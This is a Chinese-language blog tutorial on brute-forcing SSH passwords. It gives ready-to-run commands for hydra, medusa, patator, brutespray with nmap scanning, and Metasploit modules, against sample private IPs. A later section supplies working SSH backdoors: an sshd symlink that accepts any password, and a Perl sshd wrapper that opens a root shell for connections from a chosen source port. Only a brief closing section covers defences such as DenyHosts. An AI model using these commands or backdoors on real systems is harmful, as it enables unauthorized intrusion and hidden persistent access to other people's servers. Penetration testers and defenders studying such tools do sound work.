天天看點

Linux SSH密碼暴力破解技術及攻擊實戰

對于 Linux 作業系統來說,一般通過 VNC、Teamviewer 和 SSH 等工具來進行遠端管理,SSH 是 Secure Shell 的縮寫,由 IETF 的網絡小組(Network Working Group)所制定;SSH  為建立在應用層基礎上的安全協定。

SSH 是目前較可靠,專為遠端登入會話和其他網絡服務提供安全性的協定。利用 SSH 協定可以有效防止遠端管理過程中的資訊洩露問題。SSH 用戶端适用于多種平台,幾乎所有 UNIX 平台—包括 HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台都可運作 SSH。Kali Linux 滲透測試平台預設配置 SSH 服務。SSH 進行伺服器遠端管理,僅僅需要知道伺服器的IP位址、端口、管理賬号和密碼,即可進行伺服器的管理,網絡安全遵循木桶原理,隻要通過 SSH 撕開一個口子,對滲透人員來時這将是一個新的世界。

本文對目前流行的 SSH 密碼暴力破解工具進行實戰研究、分析和總結,對滲透攻擊測試和安全防禦具有一定的參考價值。

一、SSH密碼暴力破解應用場景和思路  

1. 應用場景

(1)通過 Structs 等遠端指令執行擷取了 root 權限。

(2)通過 webshell 提權擷取了 root 權限

(3)通過本地檔案包含漏洞,可以讀取 linux 本地所有檔案。

(4)擷取了網絡入口權限,可以對内網計算機進行通路。

(5)外網開啟了 SSH 端口(預設或者修改了端口),可以進行SSH通路。

在前面的這些場景中,可以擷取 shadow 檔案,對其進行暴力破解,以擷取這些賬号的密碼,但在另外的一些場景中,無任何漏洞可用,這個時候就需要對 SSH 賬号進行暴力破解。

2. 思路

(1)對 root 賬号進行暴力破解

(2)使用中國姓名 top1000 作為使用者名進行暴力破解

(3)使用 top 10000 password 字典進行密碼破解

(4)利用掌握資訊進行社工資訊整理并生成字典暴力破解

(5)資訊的綜合利用以及循環利用

二、使用 hydra 暴力破解 SSH 密碼

hydra 是世界頂級密碼暴力密碼破解工具,支援幾乎所有協定的線上密碼破解,功能強大,其密碼能否被破解關鍵取決于破解字典是否足夠強大。在網絡安全滲透過程中是一款必備的測試工具,配合社工庫進行社會工程學攻擊,有時會獲得意想不到的效果。

1. 簡介

2. 安裝

(1)Debian 和 Ubuntu 安裝

    如果是 Debian 和 Ubuntu 發行版,源裡自帶 hydra,直接用 apt-get 線上安裝:

1

<code>sudo apt-get install libssl-dev libssh-devlibidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-devfirebird2.1-dev libncp-dev hydra</code>

  Redhat/Fedora 發行版的下載下傳源碼包編譯安裝,先安裝相關依賴包:

<code>yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel</code>

(2)centos 安裝

2

3

4

5

<code># tar zxvf hydra-7.6-src.tar.gz</code>

<code># cd hydra-6.0-src</code>

<code># ./configure</code>

<code># make</code>

<code># make install</code>

3. 使用 hydra

BT5 和 kali 都預設安裝了 hydra,在 kali 中單擊“kali Linux”-“Password Attacks”-“Online Attacks”-“hydra”即可打開 hydra。在 centos 終端中輸入指令 /usr/local/bin/hydra 即可打開該暴力破解工具,除此之外還可以通過 hydra-wizard.sh 指令進行向導式設定進行密碼破解,如圖1所示。

圖1:使用 hydra-wizard.sh 進行密碼破解

如果不安裝 libssh,運作 hydra 破解賬号時會出現錯誤,如圖 2 所示,顯示錯誤提示資訊:[ERROR] Compiled without LIBSSH v0.4.x support, module is not available! 在 centos 下依次運作以下指令即可解決:

6

7

8

9

10

11

12

13

14

<code>yum install cmake</code>

<code>wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz</code>

<code>tar zxf libssh-0.4.8.tar.gz</code>

<code>cd libssh-0.4.8</code>

<code>mkdir build</code>

<code>cd build</code>

<code>cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..</code>

<code>make</code>

<code>make install</code>

<code>cd /test/ssh/hydra-7.6  (此為下載下傳hydar解壓的目錄)</code>

<code>make clean</code>

<code>./configure</code>

圖2:出現 libssh 子產品缺少錯誤

4. hydra 參數詳細說明

<code>hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]</code>

15

16

17

18

19

20

<code>-l LOGIN 指定破解的使用者名稱,對特定使用者破解。</code>

<code>-L FILE 從檔案中加載使用者名進行破解。</code>

<code>-p PASS小寫p指定密碼破解,少用,一般是采用密碼字典。</code>

<code>-P FILE 大寫字母P,指定密碼字典。</code>

<code>-e ns 可選選項,n:空密碼試探,s:使用指定使用者和密碼試探。</code>

<code>-C FILE 使用冒号分割格式,例如“登入名:密碼”來代替-L/-P參數。</code>

<code>-t TASKS 同時運作的連接配接的線程數,每一台主機預設為16。</code>

<code>-M FILE 指定伺服器目标清單檔案一行一條</code>

<code>-w TIME 設定最大逾時的時間,機關秒,預設是30s。</code>

<code>-o FILE 指定結果輸出檔案。</code>

<code>-f 在使用-M參數以後,找到第一對登入名或者密碼的時候中止破解。</code>

<code>-v / -V 顯示詳細過程。</code>

<code>-R 繼續從上一次進度接着破解。</code>

<code>-S 采用SSL連結。</code>

<code>-s PORT 可通過這個參數指定非預設端口。</code>

<code>-U       服務子產品使用細節</code>

<code>-h       更多的指令行選項(完整的幫助)</code>

<code>server    目标伺服器名稱或者IP(使用這個或-M選項)</code>

<code>service   指定服務名,支援的服務和協定:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等</code>

<code>OPT       一些服務子產品支援額外的輸入(-U用于子產品的幫助)</code>

5. 破解 SSH 賬号

破解 SSH 賬号有兩種方式,一種是指定賬号破解,一種是指定使用者清單破解。詳細指令如下:

(1)hydra -l 使用者名 -p 密碼字典 -t 線程 -vV -e ns ip ssh

    例如輸入指令“hydra -l root  -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh”對IP位址為“192.168.44.139”的 root 賬号密碼進行破解,如圖3所示,破解成功後顯示其詳細資訊。

“hydra -l root  -P pwd2.dic -t 1 -vV -e ns  -o save.log  192.168.44.139  ssh ”将掃描結果儲存在 save.log 檔案中,打開該檔案可以看到成功破解的結果,如圖4所示。

圖3:破解 SSH 賬号

圖4:檢視破解日志

三、使用 Medusa 暴力破解 SSH 密碼

1. Medusa 簡介

Medusa(美杜莎)是一個速度快,支援大規模并行,子產品化,爆破登入。可以同時對多個主機,使用者或密碼執行強力測試。Medusa 和 hydra 一樣,同樣屬于線上密碼破解工具。不同的是,medusa 的穩定性相較于 hydra 要好很多,但其支援子產品要比 hydra 少一些。 Medusa 是支援AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP, PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT, SMTP

2. 安裝 medusa

(1)git 克隆安裝

<code>git clone https://github.com/jmk-foofus/medusa.git</code>

(2)手動編譯和安裝 medusa

安裝完成後,會将 medusa 的一些 modules 檔案複制到 /usr/local/lib/medusa/modules 檔案夾。

3. Medusa 參數

21

22

23

24

25

26

<code>Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]</code>

<code>-h [TEXT]      目标主機名稱或者IP位址</code>

<code>-H [FILE]      包含目标主機名稱或者IP位址檔案</code>

<code>-u [TEXT]      測試的使用者名</code>

<code>-U [FILE]      包含測試的使用者名檔案</code>

<code>-p [TEXT]      測試的密碼</code>

<code>-P [FILE]      包含測試的密碼檔案</code>

<code>-C [FILE]      組合條目檔案</code>

<code>-O [FILE]      日志資訊檔案</code>

<code>-e [n/s/ns]    n代表空密碼,s代表為密碼與使用者名相同</code>

<code>-M [TEXT]      子產品執行名稱</code>

<code>-m [TEXT]      傳遞參數到子產品</code>

<code>-d             顯示所有的子產品名稱</code>

<code>-n [NUM]       使用非預設Tcp端口</code>

<code>-s             啟用SSL</code>

<code>-r [NUM]       重試間隔時間,預設為3秒</code>

<code>-t [NUM]       設定線程數量</code>

<code>-T    同時測試的主機總數</code>

<code>-L             并行化,每個使用者使用一個線程</code>

<code>-f             在任何主機上找到第一個賬号/密碼後,停止破解</code>

<code>-F            在任何主機上找到第一個有效的使用者名/密碼後停止審計。</code>

<code>-q             顯示子產品的使用資訊</code>

<code>-v [NUM]       詳細級别(0-6)</code>

<code>-w [NUM]       錯誤調試級别(0-10)</code>

<code>-V             顯示版本</code>

<code>-Z [TEXT]      繼續掃描上一次</code>

4. 破解單一伺服器 SSH 密碼

(1)通過檔案來指定 host 和 user,host.txt 為目标主機名稱或者 IP 位址,user.txt 指定需要暴力破解的使用者名,密碼指定為 password

<code>./medusa -M ssh -H host.txt -U users.txt -p password</code>

(2)對單一伺服器進行密碼字典暴力破解

  如圖5所示,破解成功後會顯示 success 字樣,具體指令如下:

<code>medusa -M ssh -h 192.168.157.131 -u root -P newpass.txt</code>

圖5:破解 SSH 密碼成功

如果使用Cltrl+Z結束了破解過程,則還可以根據螢幕提示,在後面繼續恢複破解,在上例中恢複破解,隻需要在指令末尾增加“-Z h1u1.”即可。也即其指令為:

<code>medusa -M ssh -h 192.168.157.131 -u root -P newpass.txt -Z h1u1.</code>

5. 破解某個 IP 位址主機破解成功後立刻停止,并測試空密碼以及與使用者名一樣的密碼

<code>medusa -M ssh -h 192.168.157.131 -u root -P /root/newpass.txt -e ns -F</code>

執行效果如圖 6 所示,通過指令檢視字典檔案 newpass.txt,可以看到root密碼位于第8行,而在破解結果中顯示第一行就破解成功了,說明先執行了“-e ns”參數指令,對空密碼和使用使用者名作為密碼來進行破解。

圖6:使用空密碼和使用者名作為密碼進行破解

技巧:加-O  ssh.log 可以将成功破解的記錄記錄到 ssh.log 檔案中。

四、使用 patator 暴力破解 SSH 密碼

1. 下載下傳并安裝 patator

<code>git clone https://github.com/lanjelot/patator.git</code>

<code>cd patator</code>

<code>python setup.py install</code>

2. 使用參數

執行 ./patator.py 即可擷取詳細的幫助資訊

<code>Patator v0.7 (https://github.com/lanjelot/patator)</code>

<code>Usage: patator.py module --help</code>

可用子產品:

27

28

29

30

31

32

33

34

<code>  </code><code>+ ftp_login     : 暴力破解FTP</code>

<code>  </code><code>+ ssh_login     : 暴力破解 SSH</code>

<code>  </code><code>+ telnet_login  : 暴力破解 Telnet</code>

<code>  </code><code>+ smtp_login    : 暴力破解 SMTP</code>

<code>  </code><code>+ smtp_vrfy     : 使用SMTP VRFY進行枚舉</code>

<code>  </code><code>+ smtp_rcpt     : 使用 SMTP RCPT TO枚舉合法使用者</code>

<code>  </code><code>+ finger_lookup : 使用Finger枚舉合法使用者</code>

<code>  </code><code>+ http_fuzz     : 暴力破解 HTTP</code>

<code>  </code><code>+ ajp_fuzz      : 暴力破解 AJP</code>

<code>  </code><code>+ pop_login     : 暴力破解 POP3</code>

<code>  </code><code>+ pop_passd     : 暴力破解 poppassd (http://netwinsite.com/poppassd/)</code>

<code>  </code><code>+ imap_login    : 暴力破解 IMAP4</code>

<code>  </code><code>+ ldap_login    : 暴力破解 LDAP</code>

<code>  </code><code>+ smb_login     : 暴力破解 SMB</code>

<code>  </code><code>+ smb_lookupsid : 暴力破解 SMB SID-lookup</code>

<code>  </code><code>+ rlogin_login  : 暴力破解 rlogin</code>

<code>  </code><code>+ vmauthd_login : 暴力破解 VMware Authentication Daemon</code>

<code>  </code><code>+ mssql_login   : 暴力破解 MSSQL</code>

<code>  </code><code>+ oracle_login  : 暴力破解 Oracle</code>

<code>  </code><code>+ mysql_login   : 暴力破解 MySQL</code>

<code>  </code><code>+ mysql_query   : 暴力破解 MySQL queries</code>

<code>  </code><code>+ rdp_login     : 暴力破解 RDP (NLA)</code>

<code>  </code><code>+ pgsql_login   : 暴力破解 PostgreSQL</code>

<code>  </code><code>+ vnc_login     : 暴力破解 VNC</code>

<code>  </code><code>+ dns_forward   : 正向DNS 查詢</code>

<code>  </code><code>+ dns_reverse   : 反向 DNS 查詢</code>

<code>  </code><code>+ snmp_login    : 暴力破解 SNMP v1/2/3</code>

<code>  </code><code>+ ike_enum      : 枚舉 IKE 傳輸</code>

<code>  </code><code>+ unzip_pass    : 暴力破解 ZIP加密檔案</code>

<code>  </code><code>+ keystore_pass : 暴力破解Java keystore files的密碼</code>

<code>  </code><code>+ sqlcipher_pass : 暴力破解 加密資料庫SQL Cipher的密碼-</code>

<code>  </code><code>+ umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes</code>

<code>  </code><code>+ tcp_fuzz      : Fuzz TCP services</code>

<code>  </code><code>+ dummy_test    : 測試子產品</code>

3. 實戰破解

(1)檢視詳細幫助資訊

執行“./patator.py ssh_login –help“指令後即可擷取其參數的詳細使用資訊,如圖7所示,在 ssh 暴力破解子產品 ssh_login 中需要設定 host,port,user,password 等參數。

圖7:檢視幫助資訊

(2)執行單一使用者密碼破解

  對主機 192.168.157.131,使用者 root,密碼檔案為 /root/newpass.txt 進行破解,如圖8 所示,破解成功後會顯示 SSH 登入辨別“SSH-2.0-OpenSSH_7.5p1 Debian-10“,破解不成功會顯示” Authentication failed. “提示資訊,其破解時間為2秒,速度很快!

<code>./patator.py ssh_login host=192.168.157.131 user=root password=FILE0 0=/root/newpass.txt</code>

圖8:破解單一使用者密碼

(3)破解多個使用者。使用者檔案為/root/user.txt,密碼檔案為/root/newpass.txt,破解效果如圖 9 所示。

<code>./patator.py ssh_login host=192.168.157.131 user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt</code>

圖9:使用 patator 破解多使用者的密碼

五、使用 BrutesPray 暴力破解 SSH 密碼

1. 安裝及下載下傳

(1)普通下載下傳位址

(2)kali下安裝

   BruteSpray 預設沒有內建到 kali Linux 中,需要手動安裝,有的需要先在kali中執行更新,apt-get update 後才能執行安裝指令:

<code>apt-get install brutespray</code>

  kali Linux 預設安裝其使用者和密碼字典檔案位置:/usr/share/brutespray/wordlist。

(3)手動安裝

<code>git clone https://github.com/x90skysn3k/brutespray.git</code>

<code>cd brutespray</code>

<code>pip install -r requirements.txt</code>

注意如果在其它環境安裝需要安裝 medusa,否則會執行報錯。

2. BrutesPray 使用參數

用法:brutespray.py [-h] -f FILE [-o OUTPUT] [-s SERVICE] [-t THREADS] [-T HOSTS] [-U USERLIST] [-P PASSLIST] [-u USERNAME] [-p PASSWORD] [-c] [-i]

用法:python brutespray.py &lt;選項&gt;

選項參數:

<code>  </code><code>-h, --help   顯示幫助資訊并退出</code>

菜單選項:

<code>  </code><code>-f FILE, --file FILE  參數後跟一個檔案名, 解析nmap輸出的GNMAP或者XML檔案</code>

<code>  </code><code>-o OUTPUT, --output OUTPUT   包含成功嘗試的目錄</code>

<code>  </code><code>-s SERVICE, --service SERVICE  參數後跟一個服務名, 指定要攻擊的服務                      </code>

<code>  </code><code>-t THREADS, --threads THREADS  參數後跟一數值,指定medusa線程數                       </code>

<code>  </code><code>-T HOSTS, --hosts HOSTS  參數後跟一數值,指定同時測試的主機數                     </code>

<code>  </code><code>-U USERLIST, --userlist USERLIST 參數後跟使用者字典檔案</code>

<code>  </code><code>-P PASSLIST, --passlist PASSLIST 參數後跟密碼字典檔案</code>

<code>  </code><code>-u USERNAME, --username USERNAME 參數後跟使用者名,指定一個使用者名進行爆破</code>

<code>  </code><code>-p PASSWORD, --password PASSWORD 參數後跟密碼,指定一個密碼進行爆破                     </code>

<code>  </code><code>-c, --continuous      成功之後繼續爆破</code>

<code>  </code><code>-i, --interactive     互動模式</code>

3. 使用 nmap 進行端口掃描

(1)掃描整個内網C段

<code>nmap -v 192.168.17.0/24 -oX nmap.xml</code>

(2)掃描開放22端口的主機

<code>nmap -A -p 22 -v 192.168.17.0/24 -oX 22.xml</code>

(3)掃描存活主機

<code>nmap –sP 192.168.17.0/24 -oX nmaplive.xml</code>

(4)掃描應用程式以及版本号

<code>nmap  -sV –O 192.168.17.0/24 -oX nmap.xml</code>

4. 暴力破解 SSH 密碼

(1)互動模式破解

<code>python brutespray.py --file nmap.xml –i</code>

執行後,程式會自動識别 nmap 掃描結果中的服務,根據提示選擇需要破解的服務,線程數、同時暴力破解的主機數,指定使用者和密碼檔案,如圖10 所示。Brutespray 破解成功後在螢幕上會顯示“SUCCESS”資訊。

圖10:互動模式破解密碼

(2)通過指定字典檔案爆破 SSH

<code>python brutespray.py --file 22.xml -U /usr/share/brutespray/wordlist/ssh/user -P /usr/share/brutespray/wordlist/ssh/password --threads 5 --hosts 5</code>

注意:brutespray 新版本的 wordlist 位址為/usr/share/brutespray/wordlist,其下包含了多個協定的使用者名和密碼,可以到該目錄完善這些使用者檔案和密碼檔案。22.xml 為 nmap 掃描 22 端口生成的檔案。

(3)暴力破解指定的服務

<code>python brutespray.py --file nmap.xml --service ftp,ssh,telnet --threads 5 --hosts 5</code>

(4)指定使用者名和密碼進行暴力破解

   當在内網已經擷取了一個密碼後,可以用來驗證 nmap 掃描中的開放 22 端口的伺服器,如圖11所示,對 192.168.17.144 和 192.168.17.147 進行 root 密碼暴力破解,192.168.17.144 密碼成功破解。

<code>python brutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5</code>

<code>./brutespray.py -f 22.xml -u root -p toor --threads 5 --hosts 5</code>

圖11:對已知密碼進行密碼破解

(5)破解成功後繼續暴力破解

<code>python brutespray.py --file nmap.xml --threads 5 --hosts 5 –c</code>

  前面的指令是預設破解成功一個帳号後,就不再繼續暴力破解了,此指令是對所有賬号進行暴力破解,其時間稍長。

(6)使用 Nmap 掃描生成的 nmap.xml 進行暴力破解

<code>python brutespray.py --file nmap.xml --threads 5 --hosts 5</code>

5. 檢視破解結果

Brutespray 這一點做的非常好,預設會在程式目錄 /brutespray-output/ 目錄下生成 ssh-success.txt 檔案,使用 cat ssh-success.txt 指令即可檢視破解成功的結果,如圖12所示。

圖12:檢視破解成功的記錄檔案

也可以通過指令搜尋ssh-success 檔案的具體位置:find / -name ssh-success.txt

6. 登入破解伺服器

使用 ssh user@host 指令登入 host 伺服器。例如登入 192.168.17.144:

<code>ssh [email protected]</code>

輸入密碼即可正常登入伺服器 192.168.17.144。

六、Msf 下利用 ssh_login 子產品進行暴力破解

1. msf 下有關 SSH 相關子產品

在 kali 中執行“msfconsole”-“search ssh”後會擷取相關所有ssh子產品,如圖13所示。

圖13:msf 下所有 SSH 漏洞以及相關利用子產品

2. SSH 相關功能子產品分析

(1)SSH 使用者枚舉

此子產品使用基于時間的攻擊枚舉使用者 OpenSSH 伺服器。在一些 OpenSSH 的一些版本

配置,OpenSSH 會傳回一個“沒有權限”無效使用者的錯誤比有效使用者快。使用指令如下:

<code>use auxiliary/scanner/ssh/ssh_enumusers</code>

<code>set rhost 191.168.17.147</code>

<code>set USER_FILE  /root/user</code>

<code>run</code>

使用 info 指令可以檢視該子產品的所有資訊,執行效果如圖14 所示,實測該功能有一些限制,僅僅對 OpenSSH 某些版本效果比較好。

圖14:openssh 使用者枚舉

(2)SSH 版本掃描

   檢視遠端主機的 SSH 伺服器版本資訊,指令如下:

<code>use auxiliary/scanner/ssh/ssh_version</code>

<code>set rhosts 192.168.157.147</code>

執行效果如圖15 所示,分别對 centos 伺服器位址 192.168.157.147 和 kali linux 位址 192.168.157.144 進行掃描,可以看出一個是 SSH-2.0-OpenSSH_5.8p1 Debian-1ubuntu3,另外一個是 SSH-2.0-OpenSSH_7.5p1 Debian-10,看到第一個版本,第一時間就可以想到如果拿到權限可以安裝 ssh 後門。

圖15:掃描 ssh 版本資訊

(3)SSH 暴力破解

   ssh 暴力破解子產品“auxiliary/scanner/ssh/ssh_login”可以對單機進行單使用者,單密碼進行掃描破解,也可以使用密碼字典和使用者字典進行破解,按照提示進行設定即可。下面使用使用者名字典以及密碼字典進行暴力破解:

<code>use auxiliary/scanner/ssh/ssh_login</code>

<code>set rhosts 192.168.17.147</code>

<code>set PASS_FILE /root/pass.txt</code>

<code>set USER_FILE /root/user.txt</code>

如圖16 所示,對 IP 位址 192.168.17.147 進行暴力破解,成功擷取 root 賬号密碼,網上有人寫文章說可以直接擷取 shell,實際測試并否如此,通過 sessions -l 可以看到 msf 确實建立會話,但切換(sessions -i 1)到會話一直沒有反應。

圖16:使用 msf 暴力破解 ssh 密碼

七、ssh 後門

1. 軟連接配接後門

<code>ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=33223;</code>

經典後門使用 ssh [email protected] -p 33223 直接對 sshd 建立軟連接配接,之後用任意密碼登入即可。

但這隐蔽性很弱,一般的 rookit hunter 這類的防護腳本可掃描到。

2. SSH Server wrapper 後門

(1)複制 sshd 到 bin 目錄

<code>cd /usr/sbin</code>

<code>mv sshd ../bin</code>

(2)編輯 sshd

<code>vi sshd //加入以下内容并儲存</code>

<code>#!/usr/bin/perl</code>

<code>exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);</code>

<code>exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;</code>

(4)修改權限

<code>chmod 755 sshd</code>

(5)使用 socat

<code>socat STDIO TCP4:target_ip:22,sourceport=19526</code>

如果沒有安裝 socat 需要進行安裝并編譯

<code>wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz</code>

<code>tar -zxvf socat-1.7.3.2.tar.gz</code>

<code>cd socat-1.7.3.2</code>

(6)使用 ssh root@ target_ip 即可免密碼登入

3. ssh 公鑰免密

   将本地計算機生成公私鑰,将公鑰檔案複制到需要連接配接的伺服器上的 ~/.ssh/authorized_keys 檔案,并設定相應的權限,即可免密碼登入伺服器。

<code>chmod 600 ~/.ssh/authorized_keys</code>

<code>chmod 700 ~/.ssh</code>

八、ssh 暴力破解指令總結及分析

1. 所有工具的比較

  通過對 hydra、medusa、patator、brutepray 以及 msf 下的 ssh 暴力破解測試,總結如下:

(1)每款軟體都能成功對 ssh 賬号以及密碼進行破解。

(2)patator 和 brutepray 是通過 python 語言編寫,但 brutepray 需要 medusa 配合支援。

(3)hydra 和 medusa 是基于 C 語言編寫的,需要進行編譯。

(4)brutepray 基于 nmap 掃描結果來進行暴力破解,在對内網掃描後進行暴力破解效果好。

(5)patator 基于 python,速度快,相容性好,可以在 windows 或者 linux 下稍作配置即可使用。

(6)如果具備 kali 條件或者 PentestBox 下,使用 msf 進行 ssh 暴力破解也不錯。

(7)brutepray 會自動生成破解成功日志檔案 /brutespray-output/ssh-success.txt;hydra 加參數“-o save.log”記錄破解成功到日志檔案save.log,medusa加“-O ssh.log”參數可以将成功破解的記錄記錄到ssh.log檔案中;patator可以加參數“-x ignore:mesg='Authentication failed.'”來忽略破解失敗的嘗試,而僅僅顯示成功的破解。

2. 指令總結

(1)hydra 破解 ssh 密碼

<code>hydra -l root  -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh</code>

<code>hydra -l root  -P pwd2.dic -t 1 -vV -e ns  -o save.log  192.168.44.139  ssh</code>

(2)medusa 破解 ssh 密碼

<code>medusa -M ssh -h 192.168.157.131 -u root -P /root/newpass.txt -e ns –F</code>

(3)patator 破解 ssh 密碼

<code>./patator.py ssh_login host=192.168.157.131 user=root password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authentication failed.'</code>

<code>./patator.py ssh_login host=192.168.157.131 user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authentication failed.'</code>

如果不是本地安裝,則使用 patator 執行即可。

(4)brutespray 暴力破解 ssh 密碼

(5)msf 暴力破解 ssh 密碼

九、SSH暴力破解安全防範

1. 修改/etc/ssh/sshd_config預設端口為其它端口。例如設定端口為2232,則port=2232

2. 在/etc/hosts.allow中設定允許的IP通路,例如sshd:192.168.17.144:allow

3. 使用DenyHosts軟體來設定,其下載下傳位址:

<a href="https://sourceforge.net/projects/denyhosts/files/denyhosts/2.6/DenyHosts-2.6.tar.gz/download">https://sourceforge.net/projects/denyhosts/files/denyhosts/2.6/DenyHosts-2.6.tar.gz/download</a>

(1)安裝cd DenyHosts

<code># tar -zxvf DenyHosts-2.6.tar.gz</code>

<code># cd DenyHosts-2.6</code>

<code># python setup.py install</code>

預設是安裝到/usr/share/denyhosts目錄的。

(2)配置cd DenyHosts

<code># cd /usr/share/denyhosts/</code>

<code># cp denyhosts.cfg-dist denyhosts.cfg</code>

<code># vi denyhosts.cfg</code>

<code>PURGE_DENY = 50m #過多久後清除已阻止IP</code>

<code>HOSTS_DENY = /etc/hosts.deny #将阻止IP寫入到hosts.deny</code>

<code>BLOCK_SERVICE = sshd #阻止服務名</code>

<code>DENY_THRESHOLD_INVALID = 1 #允許無效使用者登入失敗的次數</code>

<code>DENY_THRESHOLD_VALID = 10 #允許普通使用者登入失敗的次數</code>

<code>DENY_THRESHOLD_ROOT = 5 #允許root登入失敗的次數</code>

<code>WORK_DIR = /usr/local/share/denyhosts/data #将deny的host或ip紀錄到Work_dir中</code>

<code>DENY_THRESHOLD_RESTRICTED = 1 #設定 deny host 寫入到該資料夾</code>

<code>LOCK_FILE = /var/lock/subsys/denyhosts #将DenyHOts啟動的pid紀錄到LOCK_FILE中,已確定服務正确啟動,防止同時啟動多個服務。</code>

<code>HOSTNAME_LOOKUP=NO #是否做域名反解</code>

<code>ADMIN_EMAIL = #設定管理者郵件位址</code>

<code>DAEMON_LOG = /var/log/denyhosts #自己的日志檔案</code>

<code>DAEMON_PURGE = 10m #該項與PURGE_DENY 設定成一樣,也是清除hosts.deniedssh 使用者的時間。</code>

(3)設定啟動腳本

<code># cp daemon-control-dist daemon-control</code>

<code># chown root daemon-control</code>

<code># chmod 700 daemon-control</code>

<code>完了之後執行daemon-contron start就可以了。</code>

<code># ./daemon-control start</code>

如果要使DenyHosts每次重起後自動啟動還需做如下設定:

<code># ln -s /usr/share/denyhosts/daemon-control /etc/init.d/denyhosts</code>

<code># chkconfig --add denyhosts</code>

<code># chkconfig denyhosts on</code>

<code># service denyhosts start</code>

可以看看/etc/hosts.deny内是否有禁止的IP,有的話說明已經成功了。

 本文轉自 simeon2005 51CTO部落格,原文連結:http://blog.51cto.com/simeon/2066269